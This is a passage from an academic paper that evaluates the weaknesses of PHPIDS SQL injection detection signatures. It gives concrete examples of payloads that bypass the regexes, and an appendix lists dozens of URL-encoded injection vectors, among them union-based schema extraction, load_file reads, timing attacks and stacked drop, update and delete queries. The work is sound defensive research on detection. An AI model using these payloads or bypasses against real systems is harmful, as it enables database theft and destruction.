anything between “AND” and “=”, thereby, no logical attack vector can satisfy such expression.  
The signature became irrelevant mainly because of the error in the implementation of the rule by the 
designer. The designer should test the designed signatures to determine if the rules are implemented in the same way 
as intended. Since no logical attack vector can satisfy these rules, it is highly unlikely that these signatures will ever 
be triggered in the monitoring process. Furthermore, irrelevant signatures unnecessarily increase the size of the 
signature set which in turn increase the processing requirement of the detector to verify a request. Since the 
experiment is conducted on the signatures for which logical attack vectors can be designed, the irrelevant signatures 
are not listed in Appendix A. 
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Fig.3 Relation between the logical attack vectors and the vectors detected by irrelevant signatures 
 5.3  Semi-relevant Signatures 
A single signature is generally built upon multiple criteria in order to verify the input from several perspectives. For 
instance, the S12 signature, (?:\Winformation_schema|table_name\W) looks for either “INFORMATION_SCHEMA” 
or “TABLE_NAME” as suspicious keywords in the user payload to recognize SQL injection. It implies that the 
quality of a signature can get degraded if the individual sub-rules are not thoroughly implemented. Semi-relevant 
signatures are those signatures in which at least one of the sub-rules is not relevant. We define the semi-relevant 
signature as follows: 
Definition 3: Let  𝑆𝑆(𝑛)  be the set of sub-signatures of 𝑆(𝑛) i.e.  𝑆𝑆(𝑛) = {  𝑠𝑆(1,𝑛)……. 𝑠𝑆(𝑚 ,𝑛)} where m denotes the 
total number of sub-signatures in  𝑆(𝑛).  Let  𝑠𝑆𝑎(𝑖 ,𝑛) = { set of attack vectors detected by i
th 
sub-signature of  𝑆(𝑛) }. A 
signature is semi-relevant iff, 
               ∃ 𝑠𝑆 𝑖 ,𝑛   𝜖  𝑆𝑆(𝑛) 𝑠𝑢𝑐ℎ 𝑡ℎ𝑎𝑡   𝑠𝑆𝑎(𝑖 ,𝑛)  ∩   𝐿𝑎   =  𝜙, 𝑤ℎ𝑒𝑟𝑒 𝑖 =  1 𝑡𝑜 𝑚   
Consider the signature S52, (?:(?:;|#|--)\s*(?:drop|alter)). The signature can be split into parts, (?:;|#|--) 
and (?:drop|alter). The first part, (?:;|#|--) consists of 3 options while the second part, (?:drop|alter) comprises 2 
options, therefore the whole signature is composed of total 6 (3x2) criteria which are as follows, 
(?:(?:;)\s*(?:drop)), (?:(?:;)\s*(?:alter)), (?:(?:#)\s*(?:drop)), (?:(?:#)\s*(?:alter)), (?:(?:--)\s*(?:drop)) and (?:(?:-
-)\s*(?:alter)). The last four criteria are not conceptually valid as the database server is supposed to ignore the 
content of the line after the comment operator. Therefore, the attacker cannot issue the drop or alter command after 
placing the comment operator. The same issue lies with the S53 signature, (?:;|#|--)\s*(?:update|insert)\s*\w{2,}) 
which is looking for update and insert operations preceded by the comment operator. One more example of the 
semi-relevant signature is S83, (?:";\s*(?:if|while|begin)). This signature has one irrelevant sub-rule, 
(?:";\s*(?:while)) that will be triggered for the vectors which use “WHILE” clause after the semicolon (;) operator. 
Semicolon is basically used by the attacker to conduct stack query operations and no valid SQL query can begin 
directly with “WHILE” clause. It implies, the attack vector satisfying this sub-rule will not be logically valid and 
would only make database server to raise syntax error. 
Semi-relevant signatures are mainly formed due to the mistake of the developer in associating the SQL 
keywords or operators with one another in a similar manner which possess different context. In signature S52, the 
rule deals with a semicolon (;) and comment operators (#,--) in a similar manner whereas semicolon is basically used 
to invoke stacked query operations and comment operators are used to make the query ignore certain content. 
Therefore, assessing the quality of sub-rules of a signature would help in generating more efficient signature set for 
the detector. 
 
5.4  Susceptible Signatures 
There is one big difference between the normal query and the attack query, the later one tries to use unconventional 
ways to achieve their target in order to bypass the signatures. So, if the developer is not thoroughly aware about the 
attacker strategies and tactics, and formulates the signature based on the knowledge of commonly used queries, it 
may ultimately give the way to the hacker to subvert the detection mechanism. The simplest way to bypass the 
regular expression is by using special characters such as whitespaces, brackets, etc. in the attack payload. The beauty 
of these characters is that they can be used in the payload unrestrictedly which implies that if the developer puts a 
restriction on the number of occurrences of these characters in the signature, the attacker can easily bypass the 
expression. We call those signatures as susceptible signatures. For example, consider the S63 signature, 
(?:;\s*(?:select|create|rename|truncate|load|alter|delete|update|insert|desc)\s*[\[(]?\w{2,}). The sub-expression 
“[\[\(]?” makes the regular expression susceptible to attack vector. The attack vector can use the parentheses 
multiple times while the regular expression explicitly restricts its use to either 0 or 1 time. It means, the attacker can 
bypass the signature by using the character “(“ more than 1 time, as follows: 
 1; Select 234  -- Detected 
 1; Select (234 ) --  Detected 
 1; Select ((234)) --   Bypass 
Similarly, the S68 signature, (?:waitfor\s*delay\s?"+\s?\d) is also vulnerable to attacks. The sub-expression “\s?” in 
the signature allows the attacker to evade it by using more than one space in the attack vector. 
 1 ; waitfor delay%27%2000:00:01%27 Detected 
 1 ; waitfor delay%27%20%20 00:00:01%27 Bypass 
 
The susceptibility in the signatures is also one of the reasons of getting false negative rates by the detector. It is 
usually caused due to placing a limitation on the characters in the rule which can be used indefinitely in the attack 
vector. In order to design good signatures, a developer must need to think from the attacker point of view and be 
aware of the different ways which can be used to bypass a rule. 
5.5  Redundant Signatures 
Redundant refers to the same. While designing the signature, it is also likely that there are existing two signatures 
such that one is the specific version of another signature. It means detection coverage provided by the specific one 
would be the subset of another. Therefore, we call the signature as redundant if the set of attack vectors detected by 
it is included in the set of attack vectors detected by some other signature of the IDS. 
 
Definition 4: Let S = { set of signatures in IDS } and  𝑆𝑎(𝑛) = { set of attack vectors detected by  𝑆(𝑛) }.  A signature 
 𝑆(𝑛) is redundant iff,  ∃ 𝑆 𝑚 𝜖 𝑆  𝑠𝑢𝑐ℎ 𝑡ℎ𝑎𝑡  𝑆𝑎 𝑛 ⊂   𝑆𝑎(𝑚). 
 
In section 4, we observed the existence of signatures which are generic in nature and supersede the major 
section of the signatures, making all of them as redundant. Besides the generic signatures, we also observed several 
signatures of the set B which form the superset. Let‟s take the example of two signatures from the set B, S26 
(?:"\s*like\W+) and S32  (?:"\s*like\W*["\d]). S32 is the more specific version of S26 since S26 is capable to detect all 
the attack vectors that will be detected by signature, S32. However, in IDS, the number of signatures affects the 
performance of the system. The more is the number of signatures, the more is the processing time required to 
determine if the input is benign or malicious. Thereby, each signature should have significance in the system and 
contribute to the detection coverage. The signature set will be optimum if there is no redundancy among their 
signatures. Redundant signatures only increase the size of the set and add no novel functionality to the detection 
system. Elimination of those signatures will help in reducing the size of the signature set. 
 
5.6  Inconsistent Signatures 
The IDS contains various pre-processing and pre-filter routines for enhancing the efficiency of the system. The 
signatures rules are applied on the processed input to verify if it is malicious or not. If the rules were designed on the 
basis of raw input, it is possible that rules will yield an unexpected result or even allow the attack vectors to go 
through the IDS. While assessing the signatures of PHPIDS, we observed that there are attack vectors which can 
bypass the detector even if the right signature is there to detect them. A signature is termed inconsistent if they pass 
some of the attack vectors despite having the capability to detect them.  
Definition 5: Let  𝐼𝐷𝑆′𝑎  = { set of attack vectors bypassed by IDS } and  𝑆𝑎(𝑛) = { set of attack vectors detected by 
 𝑆(𝑛) }. A signature is inconsistent iff   𝐼𝐷𝑆′𝑎 ∩  𝑆𝑎(𝑛)  ≠  𝜙. 
For example, the attack vector, (1)or (5|"1") is converted to (1)or (5|1) by one of the normalizing functions of the 
IDS which makes the associated signature S8, (?:[^\w\s]\w+\s*[|-]\s*"\s*\w) helpless to detect it. The pre-filtration 
policies are also found to be the reason for reducing the detection accuracy of the signatures. To increase the 
performance of PHPIDS, only those requests are passed to rule set whose value is not alphanumeric. Although the 
filter function is implemented to avoid verifying unnecessary requests but there are attack vectors which do not 
contain any special characters. The attack vectors, 1 or @user or 1 and 1 or 1 having 1 goes undetected in the 
presence of potential signatures, S9 ((?:@\w+\s+(and|or)\s*["\d]+)) and S75 (?:\W+\d*\s*having\s*[^\s\-]) 
respectively. 
Inconsistency is basically the weakness in the signature which caused by the lack of coordination between 
IDS policies and the signatures. It reduces the detection capability of the designed signatures and increases the 
number of false positive alarms. Table 4 summarizes the categories of weak signatures. 
 
 
Table 4. Six categories of the weak signatures 
Weakness Definition Cause Impact 
Incomplete The signatures which do not include all 
of the operators in the rule which can 
be used in the attack vectors 
interchangeably. 
The developer has 
insufficient knowledge of 
the domain. 
Incomplete signatures may 
create loopholes in the 
detector and increase the 
false positive alarms. 
Irrelevant The signatures in the IDS for which no 
logical attack vectors can be designed. 
The developer makes an 
error in the implementation 
of the rule. 
It is highly unlikely that these 
signatures will ever be 
triggered in the monitoring 
process. 
Semi-
relevant 
A signature generally contains a 
number of sub-rules to verify the input 
as malicious. Semi-relevant signatures 
are those ones in which at least one of 
the sub-rules is not relevant. 
The developer mistakenly 
associates the multiple SQL 
keywords and operators 
with the “OR” condition in 
the rule which have 
different contexts. 
Quality of the signature 
degrades if the individual 
sub-rules are not worth. 
Susceptible The signatures which place a restriction 
on the number of occurrences of the 
characters in the rule which can be used 
in the attack vector unrestrictedly. 
The developer has 
insufficient knowledge of 
the domain 
These signatures create 
loopholes in the detector and 
increase the false positive 
alarms. 
Redundant The signatures whose detection 
coverage is the subset of coverage 
provided by some other signature of the 
IDS. 
The developer creates two 
version of signature, generic 
and specific. 
These signatures do not 
contribute in enhancing the 
detection coverage of the 
detector. 
Inconsistent The signatures which pass some of the 
attack vectors despite having the 
capability to detect them.  
 
 
When there is a lack of 
coordination between the 
IDS policies and signatures. 
These signatures create 
loopholes in the detector and 
increase the false positive 
alarms. 
 
 
6. Conclusion 
 
The performance of the signature-based systems is strongly dependent on the quality of the signature database. Since 
these signatures are mostly created by the security experts, the quality of the signatures has a strong dependency on 
the knowledge extent of the expert about the attack domain, and how precisely the patterns of the attacks are 
captured and implemented. The paper first discussed the four key points of the attack domain of the SQL injection, 
namely structure of attack strings, DBMS variations, the intention of attack vectors and tampering schemes in order 
to highlight various peculiar and significant details which might ignore by the developer while designing the 
signatures.  The paper also conducted an experiment on PHPIDS for evaluating the quality of its signature set. The 
experiment revealed various pitfalls in the signature set such as the presence of generic and susceptible signatures, 
blind spots, etc. It is observed that contribution scale of individual signatures is highly imbalanced as some 
signatures are triggered so frequent in the detector. These signatures are found to be extremely generic in nature, 
capable to detect a large section of attack vectors. These generic signatures are found to be so sensitive that they put 
the system at the risk of high false positive rates. Moreover, these signatures made most of the signatures of the 
detection system obsolete by providing a superset of the detection coverage. However, the experiment also clearly 
showed the importance of such generic signatures in the detection system since the non-generic signatures are found 
to be susceptible and insufficient to deal with the attack vectors. The experiment also revealed the presence of 
possible blind spots in the detector by identifying the class of attack vectors missed by the generic signatures.  
Based on the case study, we identify various potential reasons behind the poorly designed signatures. The 
weak signatures are divided into six categories, namely incomplete, irrelevant, semi-relevant, susceptible, redundant 
and inconsistent. These weaknesses are, however, not limited to the SQL injection signatures rather they are 
applicable to any of the attack class signatures such as XSS, path traversal and network attacks. The flaws will assist 
the developers in creating efficient signatures for the detector by making them aware of the common poor signature 
designing practices. Moreover, security expert may use these flaws to assess the detector by conducting structural 
analysis on its signature set from a number of perspectives. The mathematical definitions of the types of weak 
signatures will help to automate the process of analyzing the structure of the rules to a great extent.  
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Appendix A 
S1 (?:\)\s*when\s*\
d+\s*then) 
  and  (select  case  ('A')  when  1  then  0  end) 
  xor (select  case  ('A')  when  1  then  0  end) 
%20xor%20(select%20case%20(1)%20when%201%20then%200%20end) 
%20nand%20select%20concat(case%20(1)%20when%201%20then%200%20end,1) 
%20union%20select%20case%20(1)%20when%201%20then%200%20end,1,2,3,4,5 
S2 (?:"\s*(?:#|--|{)) test%22%20--%20h75 
(test)%22%20--%20h75 
test)%22%20--%20h75 
test))%22%20--%20h75 
2)%22%20--%20h 
S3 ((?:\/\*!\s?\d+)) %20union%20select%201,2,3,4,5,/*!6*/ 
%20or/*!123*/ 
%20group%20by/*!1*/ 
%20union%20/**/select%20/*!6*/ 
/*!32302%201*/ 
S4 (?:ch(?:a)?r\s*\(
\s*\d) 
%20or%20char(4) 
%20and%20char(0x50) 
%20order%20by%20char(0x50) 
%20group%20by%20char(50) 
%20having%20char(49) 
S5 (?:(?:(n?and|x?o
r|not)\s+|\|\||\&\
&)\s*\w+\() 
%20or%20user() 
%20and%20user() 
%20or%20version() 
%20and%20version() 
%20and%20%221%22%20||%20current_user() 
S6 (?:"\s*or\s*"?\d
) 
%20or%20%221%20%22%20or%20%221%22 
%20or%20%221%20%22%20or%201 
%20or%20%221%20%22%20or%221%22 
%20or%20%221%20%22or%221%22 
%20^%20%221%20%22or%221%22 
S7 (?:(?:^["\\]*(?:[\
d"]+|[^"]+"))+\s
*(?:n?and|x?or|
not|\|\||\&\&)\s*
[\w"[+&!@(),.-
]) 
%20||1 
%20||%221%22 
%20||(1) 
%20||@1 
%20||user() 
S8 (?:[^\w\s]\w+\s
*[|-]\s*"\s*\w) 
%20and%20(select(1|%221%20%20%22)) 
%20and%20(1|%221%20%20%22) 
(1|%221%20%20%22) 
%20order%20by%20(1|%221%20%20%22) 
%20group%20by%20(1|%221%20%20%22) 
S9 (?:@\w+\s+(and
|or)\s*["\d]+) 
(@1%20or%201|%221%20%20%22) 
%20xor%20@1%20and%20%221%22 
@@version%20and%20%221%22 
%20having%20@@version%20and%20%221%22 
%20group%20by%20@@version%20and%20%221%22 
S10 (?:@[\w-
]+\s(and|or)\s*[
^\w\s]) 
%20or%20@1%20and%20(%221%22) 
%20or%20@1%20and%20%22(1)%22 
%20order%20by%20@1%20and%20(%221%22) 
%20group%20by%20@1%20and%20(%221%22) 
%20having%20@1%20and%20(%221%22) 
S11 (?:[^\w\s:]\s*\d\
W+[^\w\s]\s*".) 
%20or%20(5=(%22k%22)) 
%20||%20(5=(%22k%22)) 
%20having%20(5=(%22k%22)) 
%20group%20by%20(5=(%22k%22)) 
%20or%20(5!=%20(%22k%22)) 
S12 (?:\Winformatio
n_schema|table
_name\W) 
(1)%20union%20select%201,table_name,1%20from%20information_schema.tables 
(1)%20union%20select%201,column_name,1,1,1,1%20from%20information_schema.colu
mns 
(1)%20union%20/**/select%201,table_name,1%20from/**/%20information_schema.tabl
es 
(1)%20union%20(select%201,table_name,1%20from%20information_schema.tables) 
(1)%20union%20(select%201,concat(table_name,1),1,1,1,1%20from%20information_sch
ema.tables) 
S13 (?:"\s*\*.+(?:or|
id)\W*"\d) 
%20or%20%22*%22%20or%20%221%20%22 
%20or%20%22*%22%20id=%20%221%20%22 
%20or%20%22*%22%20or%20!%20%221%20%22 
%20or%20%22*%22%20or%20(%20%221%20%22) 
%20or%20%22*%22%20or%20/**/(%20%221%20%22) 
S14 (?:\^") %20or%20%22^%22 
%20group%20by%20%22^%22 
%20having%20%20%22^%22 
%20||%20%20%22^%22 
%20xor%20%20%22^%22 
S15 (?:"[\s\d]*[^\w\s
]+\W*\d\W*.*[
"\d]) 
 or 'a' ='5' 
%20or%20%22a%22%20=(55) 
%20||%20%22a%22%20=%225%22 
%20xor%20%22a%22%20=(55) 
%20group%20by%20%22a%22%20=(55) 
S16 (?:"\s*[^\w\s?]+
\s*[^\w\s]+\s*") 
 or '/* */' or 1 
(1)%20or%20%22A%22%3C=%22B%22 
(1)%20or%20%22C%22%3C=%22B%22 
(1)%20or%20%22C%22||%22B%22 
(1)%20or%20%22C%22!=%22B%22 
S17 (?:"\s*[^\w\s]+\
s*[\W\d].*(?:#|-
-)) 
%20or%20%22%201%22%3E5-- 
%20or%20%22%201%22%3E@5-- 
%20or%20%22%201%22%3E@5-- 
%20or%20%22%201%22%20||%20@version-- 
%20or%20%22%201%22%20||%201%20group%20by%20@version-- 
S18 (?:".*\*\s*\d) %20or%20%22*1%22 
%20xor%20%22*1%22 
%20order%20by%20%22*1%22 
%20union%20select%20%20%22*1%22 
%20union%20/**/select%20%20%22(*1)%22 
S19 (?:"\s*or\s[^\d]
+[\w-]+.*\d) 
%20or%20%22*%22%20or%20id=%225%22 
%20or%20%22%20%22%20or%20(5) 
%20or%20%22%20%22%20or%20@version%3E5 
%20or%20%22%20%22%20or%20@version 
%20or%20%22%20%22%20or%20@1 
S20 (?:[()*<>%+-
][\w-
]+[^\w\s]+"[^,]) 
%20group%20by%20%22(2)%22-- 
%20group%20by%20%22(a)%22-- 
%20order%20by%20%20%22(a)%22-- 
%20||%20%22(2)%22-- 
%20union%20select%20%22(2)%22-- 
S21 (?:^admin\s*"|(\
/\*)+"+\s?(?:--
|#|\/\*|{)?) 
admin%22%20or%20%221 
admin%22%20and%20%221 
ad%22%20and%20%221%22%20/*%22*/--%20h 
%20and%200%20/*%22*/ 
%20and%200%20/*%22%22*/-- 
S22 (?:"\s*or[\w\s-
]+\s*[+<>=(),-
]\s*[\d"]) 
%20or%20%221%20%22%20or%20(5) 
%20or%20%221%20%22%20or%203%3E5 
%20or%20%221%20%22%20or%203-5 
%20or%20%221%20%22%20or%20id-5 
%20or%20%221%20%22%20or%20id=5 
S23 (?:"\s*[^\w\s]?=
\s*") 
%20or%20%221%20%22%20%3E=%20%22%202%22 
%20or%20%221%20%22%20=%20%22%202%22 
%20or%20%221%20%22%20!=%20%22%202%22 
%20order%20by%20%221%20%22%20!=%20%22%202%22 
%20having%20%221%20%22%20!=%20%22%202%22 
S24 (?:"\W*[+=]+\
W*") 
%20or%20%221%20%22=%22%201%22 
%20or%20%221%20%22%3E=%22%201%22 
%20||%20%221%20%22%3E=%22%201%22 
%20order%20by%20%221%20%22%3E=%22%201%22 
%20group%20by%20%221%20%22%3E=%22%201%22 
S25 (?:"\s*[!=|][\d\s!
=+-]+.*["(].*$) 
%20or%20%221%20%22=%222%22 
%20or%20%221%20%22%20!=%222%22 
%20union%20select%20%221%20%22%20%20=%222%22 
%20union%20select%20(%221%20%22%20%20=%222%22) 
%20union%20/**/select%20%221%20%22%20%20=%222%22 
S26 (?:"\s*like\W+) %20or%20%22a%22%20like%20%22a%22 
%20or%20%22a%22%20like%20%22b%22 
%20and%20%22a%22%20like%20%22b%22 
%20and%20(Select%20%22a%22%20like%20%22b%22) 
%20||%20(Select%20%22a%22%20like%20%22a%22) 
S27 (?:where\s[\s\w\
.,-]+\s=) 
%201%20union%20select%201%20from%20test%20where%201%20=1 
;%20delete%20from%20product_tbl%20where%20id%20=4%20-- 
1;%20;update%20product_tbl%20set%20name%20=%20%27shirt%27%20where%20id%
20=1%20-- 
1; delete from product_tbl where 1 = 1 
1; delete from product_tbl where 2 = 1 
S28 (?:"[<>~]+") 5%20or%20%22b%22%3C%22a%22 
5%20or%20%22a%22%3C%22b%22 
5%20or%20%22(a)%22%3C%22(b)%22 
5%20having%20%22(a)%22%3C%22(b)%22 
5%20having%20%22(a)%22%3E%22(b)%22 
S29 (?:union\s*(?:all
|distinct|[(!@]*)
%20union%20select%20(%22a$%22) 
%20union%20select%20(%22a%22%3E%22b%22) 
?\s*[([]*\s*sele
ct) 
%20union%20all%20select%201,1,1 
%201%20union%20select%201%20from%20test%20where%201=1 
%20union%20distinct%20select%20(%22%a$%22) 
S30 (?:\w+\s+like\s) %20or%20@1%20like%20%221%22 
%20and%20@1%20like%20%221%22 
%20group%20by@1%20like%20%221%22 
%20order%20by@1%20like%20%221%22 
%20^%20(Select@1%20like%20%221%22) 
S31 (?:like\s*"\%) %20or%20%22a%22%20like%20%22%%22 
%20or%20(%22a%22)%20like%20%22%%22 
%20or%20(select((%22a%22)like%20%22%%22)) 
%20or%20(select(1%20like%20%22%%22)) 
%20and%20(select(1%20like%20%22%%22)) 
S32 (?:"\s*like\W*[
"\d]) 
%20or%20%22a%22%20like%20%22a%%22 
%20and%20%22a%22%20like%20%22a%%22 
%20||%20%22a%22%20like%20%22a%%22 
%20||%20%22a%22like%20%22a%%22 
%20having%20%22a%22like%20%22a%%22 
S33 (?:"\s*(?:n?and|
x?or|not 
|\|\||\&\&)\s+[\s\
w]+=\s*\w+\s*
having) 
%20or%20%221%20%22%20%20xor%201=1%20having%201 
%20or%20%221%20%22%20%20and%201=1%20having%201 
%20and%20%221%20%22%20%20and%20a=1%20%20having%201 
%20||%20%221%20%22%20%20||%201=1%20%20having%201 
%20or%20%221%20%22%20%20||%201=1%20%20having%201 
S34 (?:"\s*\*\s*\w+\
W+") 
%20or%20%22*a$%22 
%20||%20%22*a$%22 
%20||%20%22*a%22=%22a%22 
%20||%20%22*a%22%3E=%22a%22 
%20||%20%22*a%22!=%22a%22 
S35 (?:"\s*[^?\w\s=.
,;)(]+\s*[(@"]*\
s*\w+\W+\w) 
%20xor%20%221%20%22%3E1||1 
%20xor%20%221%20%22-1||-1 
%20and%20%221%20%22-1||-1 
%20and%20%222%20%22%3E%221%22||(0) 
%20and%20%22b%22%3E%22a%22||(0) 
S36 (?:select\s*[\[\](
)\s\w\.,"-
]+from) 
%20union%20all%20select%201,1,1,1,1,1%20from%20a 
%20union%20distinct%20select%201,1,1,1,1,1%20from%20a 
%20union%20distinct%20/**/select%201,1,1,1,1,1%20from%20a 
%20union%20distinct%20/**/select%20(1)%20,1,1,1,1,1%20from%20a 
%20union%20distinct%20/**/select%2010,%221%22,1,1,1,1%20from%20a 
S37 (?:find_in_set\s
*\() 
%20or%20find_in_set(%22a%22,%22a,b%22) 
%20or%20find_in_set(%22a%22,NULL) 
%20order%20by%20find_in_set(%22a%22,NULL) 
%20group%20by%20find_in_set(%22a%22,NULL) 
%20union%20select%20find_in_set(%22a%22,NULL) 
S38 (?:in\s*\(+\s*sel
ect) 
%20or%201%20in%20(select%201) 
%20and%201%20in%20(select%201) 
%20and%201%20in%20(select%20%22@1%22) 
%20order%20by%201%20in%20(select%20%22@1%22) 
%20having%201%20in%20(select%20%22@1%22) 
S39 (?:(?:n?and|x?or
|not 
|\|\||\&\&)\s+[\s\
w+]+(?:regexp\
s*\(|sounds\s+li
ke\s*"|[=\d]+x)) 
%20or%201%20regexp%20(%22\W%22) 
%20or%200%20union%20select%201%20regexp%20(%22\W%22),1,1,1,1,1 
%20or%200%20union%20select%201%20regexp%20(%22\W%22),1,1,1,1,1 
%20or%200%20union%20select%201%20regexp%20(%22\W%22),%201%20regexp%2
0%22\d%22,3,4,5,6 
%20or%20%201%20sounds%20like%20%22%200%22 
S40 (?:"[%&<>^=]+
\d\s*(=|or)) 
%20or%20%221%20%22=1=1 
%20or%20%221%20%22=1%20or%201 
%20or%20%221%20%22%3E=1%20or%201 
%20and%20%221%20%22%3E=1%20or%201 
%20group%20by%20%20%221%20%22%3E=1%20or%201 
S41 (?:"\W+[\w+-
]+\s*=\s*\d\W+
") 
%20or%20%221%20%22||%201=1%20||%20%22%201%22 
%20or%20%221%20%22||(%201=1%20)||%20%22%201%20%22 
%20union%20select%20%221%20%22||(%201=1%20)||%20%22%201%22 
%20order%20by%20%221%20%22||(%201=1%20)||%20%22%201%22 
%20group%20by%20%221%20%22||(%201=1%20)||%20%22%201%22 
S42 (?:"\|?[\w-
]{3,}[^\w\s.,]+"
) 
%20or%20%22abc$%22 
%20or%20%221%20%22|123=%22%201%22 
%20order%20by%20%221%20%22|123=%22%201%22 
%20having%20%221%20%22|123=%22%201%22 
%20^%20%221%20%22|123=%22%201%22 
S43 (?:[\d\W]\s+as\s
*["\w]+\s*from
) 
%20union%20select%20%22a%22%20as%20%22b%22%20from%20a 
%20union%20select%20concat(1,1)%20as%20%22b%22%20from%20a 
%20union%20select%20concat(%221%22,%221%22)%20as%20%22b%22%20from%20
a 
%20or%20(%20select%20concat(1,1)%20as%20%22b%22%20%20from%20product_tbl,
b) 
%20union%20select%20(1)%20as%20%22a%22%20from%20a 
S44 (?:^[\W\d]+\s*(
?:union|select|cr
eate|rename|trun
cate|load|alter|d
elete|update|inse
rt|desc)) 
%20union%20select%20(%22a%22%3E2%20||%20%22a%22) 
%20union%20all%20select%201,1,1,1,1,1 
%20union%20select%20%22a%22%20as%20%22b%22 
1;create%20table%20hacker(id%20int) 
1;truncate%20table%20hacker 
S45 (?:(?:select|creat
e|rename|truncat
e|load|alter|delet
e|update|insert|d
esc)\s+(?:(?:gro
up_)concat|char|
load_file)\s?\(?) 
%20union%20select%20char(%22A%22) 
%20union%20select%20group_concat(%22A%22) 
%20union%20select%20group_concat(%22A%22,%22B%22) 
%20union%20select%20group_concat(%22A%22,(%22B%22)) 
%20union%20select%20char(1) 
S46 (?:end\s*\);) %20union%20select%20(case%20when%201%20then%201%20end); 
%20union%20select%20(case%20%22A%22%20when%20TRUE%20then%20FALSE%
20end); 
%20union%20select%20(case%20%22A%22%20when%20TRUE%20then%20FALSE%
20else%200%20end); 
%20union%20select%20(case%20%22A%22%20when%201-2%20then%20(2-
3)%20else%200%20end); 
%20union%20all%20/**/select%20(case%20%22A%22%20when%201||2%20then%20(2
-3)%20else%200%20end); 
S47 ("\s+regexp\W) %20union%20all%20select%201,1,1,1,1,1%20from%20product_tbl%20where%20%22a
%22%20regexp%20(%22a%22) 
%20union%20all%20select%201,2,3,4,%22a%22%20regexp%20%22b%22,5 
%20union%20all%20select%201,2,3,4,%22a%22%20regexp%20(1),5 
%20or%20%22a%22%20regexp%20(1) 
%20||%20(%22a%22%20regexp%20(%22a%22)) 
S48 (?:[\s(]load_file\
s*\() 
%20union%20select%201,2,3,4,5,%20load_file(%22C:/xampp/tmp/test.txt%22) 
%20or%20load_file(%22C:/xampp/tmp/test.txt%22) 
%20or%20load_file(%22C:/xampp/tmp/test1.txt%22) 
%20group%20by%20load_file(%22C:/xampp/tmp/test1.txt%22) 
%20order%20by%20load_file(%22C:/xampp/tmp/test1.txt%22) 
S49 (?:@.+=\s*\(\s*
select) 
%20union%20distinct%20select%201,2,3,4,5,6%20from%20product_tbl%20where%20@
id%20=%20(select%201) 
%20or%20@id%20=%20(select%201) 
%20having%20@id%20=%20(select%201) 
%20group%20by%20@id%20=%20(select%201) 
%20order%20by%20@id%20=%20(select%201) 
S50 (?:\d+\s*or\s*\d
+\s*[\-+]) 
%20or%201-1 
%20||%201%20or%201-1 
%20and%201%20or%201-1 
%20|%201%20or%201-1 
%20xor%201%20or%201-1 
S51 (?:\d\s+group\s
+by.+\() 
%20group%20by%20(2) 
%20group%20by%20(7) 
%20or%201%20group%20by%20(6) 
%20and%201%20group%20by%20(6) 
%20%20group%20by%20(6)%20having%201 
S52 (?:(?:;|#|--
)\s*(?:drop|alter
)) 
1%20;%20drop%20table%20A 
1%20;%20alter%20table%20abc%20drop%20column%20id 
1%20;%20alter%20table%20abc%20add%20id2%20int 
1%20;%20drop%20table%20test2.dbo.abc 
1%20;%20alter%20table%20abc%20drop%20column%20id2 
S53 (?:(?:;|#|--
)\s*(?:update|in
sert)\s*\w{2,}) 
1%20;update%20%20abc%20set%20id=5%20where%20id=1 
1%20;update%20%20abc%20/**/set%20id=10%20where%20id=5 
1%20;insert%20into%20abc%20values(23); 
1%20;%20insert%20into%20abc%20values(%2225%22,%221%22) 
1%20;%20insert%20into%20/**/abc%20values(27) 
S54 (?:(?:n?and|x?or
|not 
|\|\||\&\&)[\s(]+\
w+[\s)]*[!=+]+[
\s\d]*["=()]) 
%20or%20%221%22%20=%20%22%202%22 
%20or%201=(1) 
%20or%201=%22%201%22 
%20and%201=%22%201%22 
%20and%20(1=%221%22) 
S55 (?:\(\s*select\s*\
w+\s*\() 
%20union%20(select%20user(),user(),1,1,1,1) 
%20union%20(select%20version()) 
%20union%20(select%20version(),2,3,4,5,6) 
%20or%20(select%20version()) 
%20and%20(select%20version()) 
S56 (?:\*\/from) %20or%20id%20=(select%201%20/**/from%20product_tbl%20limit%201) 
%20or%20id%20=(select%201%20/**/from%20product_tbl%20where%201%20limit%2
01) 
%20and%20id%20=(select%201%20/**/from%20product_tbl%20where%201%20limit%
201) 
%20union%20(select%201,2,3,4,5,6%20/**/from%20product_tbl%20where%201%20lim
it%201) 
%20union%20(select%201,2,3,4,5,6%20/**/from%20product_tbl%20%20limit%201) 
S57 (?:\w"\s*(?:[-
+=|@]+\s*)+[\d
(]) 
%20or%20%22a%22%20=(5) 
%20or%20%22a%22%20=5 
%20or%20%22a%22%20|(@user) 
%20and%20%22a%22%20-(%22b%22) 
%20and%20%22c%22=%20(%22c%22) 
S58 (?:coalesce\s*\(|
@@\w+\s*[^\w
\s]) 
(1)%20or%20coalesce%20(NULL) 
%20or%20coalesce%20(NULL,1) 
%20and%20coalesce%20(NULL) 
%20or%20(select(coalesce(1))) 
%20group%20by%20(select(coalesce(1))) 
S59 (?:\W!+"\w) %20or%20!%221%22 
%20and%20!%221%22 
%20order%20by%20(!%221%22) 
%20or%201=%20(!%221%22) 
%20and%201=%20(!%221%22) 
S60 (?:order\s+by\s
+if\w*\s*\() 
%20order%20by%20if(1,1,1) 
%20order%20by%20if(user(),1,1) 
%20order%20by%20if(user(),TRUE,FALSE) 
%20order%20by%20if(1|1,TRUE,FALSE) 
%20order%20by%20if((1%3E1),TRUE,FALSE) 
S61 (?:[\s(]+case\d*\
W.+[tw]hen[\s(]
) 
%20xor%20(select%20case%20%22A%22%20when%201%20then%200%20end) 
%20xor%20(select%20case%201%20when%201%20then%200%20end) 
%20and%20(select%20case%201%20when%201%20then%200%20end) 
%20union%20select%20case%20@1%20when%201%20then%200%20end,1,2,3,4,5 
%20nand%20select%20concat(case%20@1%20when%201%20then%200%20end,1) 
S62 (?:(select|;)\s+(?
:benchmark|if|sl
eep)\s*?\(\s*\(?\
s*\w+) 
%20union%20select%20sleep(5),2,3,4,5,6 
%20or%20(select%20sleep(4)) 
%20or%20(select%20if(1,1,1)) 
%20union%20(select%20if(1,1,1)) 
%20union%20select%20benchmark(100000,1%3E2),2,3,4,5,6 
S63 (?:;\s*(?:select|c
reate|rename|tru
ncate|load|alter|
delete|update|in
sert|desc)\s*[\[(]
?\w{2,}) 
1;%20Select%20234 
1;%20Select%20(234) 
1;%20update%20product_tbl%20set%20name=%27top%27%20where%20id=1 
1;%20create%20table%20test2%20(id%20int) 
1;%20insert%20into%20test2%20values(5) 
S64 (";\s*waitfor\s+
time\s+") 
1%20or%20%221%22;%20waitfor%20time%20%2200:00:00%22 
1%20or%20%221%22;%20waitfor%20time%20%22(00:00:00)%22 
